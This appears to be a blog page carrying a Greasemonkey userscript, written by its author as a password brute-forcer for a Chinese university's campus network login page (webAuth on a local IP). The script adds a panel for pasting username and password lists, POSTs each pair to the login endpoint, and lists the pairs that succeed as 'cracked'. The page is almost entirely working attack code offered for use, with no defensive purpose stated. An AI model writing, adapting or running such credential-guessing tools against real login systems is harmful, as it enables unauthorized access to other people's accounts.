Thinking in Twwy

// ==UserScript==
// @name           webAuth密码暴力破解
// @include        http://192.168.2.253/webAuth/*
// @description   破解
// @version        2.0
// @author         Twwy
// ==/UserScript==
var tmpUsername;
var tmpPassword;
document.getElementsByTagName("body")[0].style.overflow = 'visible';
scanUi = document.createElement("li");
scanUi.innerHTML = '状态:<span id="state">未开始破解</span><br /><span style="float:left;padding-left:52px;">用户名列表:</span><span style="float:right;padding-right:52px;">密码列表:</span><br /><textarea rows="3" cols="20" id="userList"></textarea>&nbsp;<textarea rows="3" cols="20" id="pwdList"></textarea><br /><button type="button" id="startButton" >开始破解!</button><button type="button" id="logout" >登陆注销</button><br/>成功信息:<br/><span id="successInfo"></span>';
scanUi.style.border = '1px solid rgb(51, 51, 51)';
scanUi.style.borderTop = '0px solid rgb(51, 51, 51)';
scanUi.style.padding = '10px';
scanUi.style.textAlign = 'center';
document.getElementsByTagName("ul")[0].appendChild(scanUi);
document.getElementById("startButton").addEventListener('click', function(){
	document.getElementById("state").innerHTML = '正在将列表转换成数组...';
	userList 	= document.getElementById("userList").value.split('\n');
	pwdList 	= document.getElementById("pwdList").value.split('\n'); 
 
	//alert(userList);
	//alert(pwdList);
	function scan(username,pwd){
		param = 'username='+username
		param += '&passwd=********';
		param += '&pwd='+pwd;
 
		logout();
 
		/*GM_xmlhttpRequest({
			method: 'GET',
			url: 'http://www.baidu.com'
		});*/
 
		GM_xmlhttpRequest({
		method: 'POST',
		url: 'http://192.168.2.253/webAuth',
		headers: {
			"Content-Type": "application/x-www-form-urlencoded"
		},
		data: param,
		onload: function func(responseDetails){
				//alert(responseDetails.responseText);
				if (responseDetails.responseText.match('<title>杭州电子科技大学上网认证系统</title>') != null){
					return wrongFunction();
				}else{
					if (responseDetails.responseText.match('var title="认证失败') != null){
						return wrongFunction();
					}else{
						return rightFunction();
					}
				}
 
				function rightFunction(){
					paramArray = param.split('&');
					document.getElementById("state").innerHTML = '尝试成功';
					nice = document.createElement("span");
					br = document.createElement("br");
					nice.innerHTML = '成功破解:'+paramArray[0].split('=')[1]+'密码:'+paramArray[2].split('=')[1];
					document.getElementById("successInfo").appendChild(nice);
					document.getElementById("successInfo").appendChild(br);
				}
				function wrongFunction(){
					document.getElementById("state").innerHTML = '尝试失败';
				}
			}
		});
	}
	for(i=0;i<userList.length;i++){
		for(j=0;j<pwdList.length;j++){
			document.getElementById("state").innerHTML = '正在尝试'+userList[i]+'/'+pwdList[j];
			setTimeout(function(){scan(userList[i],pwdList[j])},"1000");;
			/*if (scan(userList[i],pwdList[j])) {
				document.getElementById("state").innerHTML = '成功'+userList[i]+'/'+pwdList[j];
				nice = document.createElement("span");
				br = document.createElement("br");
				nice.innerHTML = '成功破解:'+userList[i]+'密码:'+pwdList[j];
				document.getElementById("successInfo").appendChild(nice);
				document.getElementById("successInfo").appendChild(br);
				break;
			}else{
				document.getElementById("state").innerHTML = '失败'+userList[i]+'/'+pwdList[j];
			}*/
		}
	}
	//scan('40912','w40912');
}, false);
 
document.getElementById("logout").addEventListener('click', function(){
	logout();
}, false);
 
function logout(){
	GM_xmlhttpRequest({
	method: 'GET',
	url: 'http://192.168.2.253/logout/'
	});
}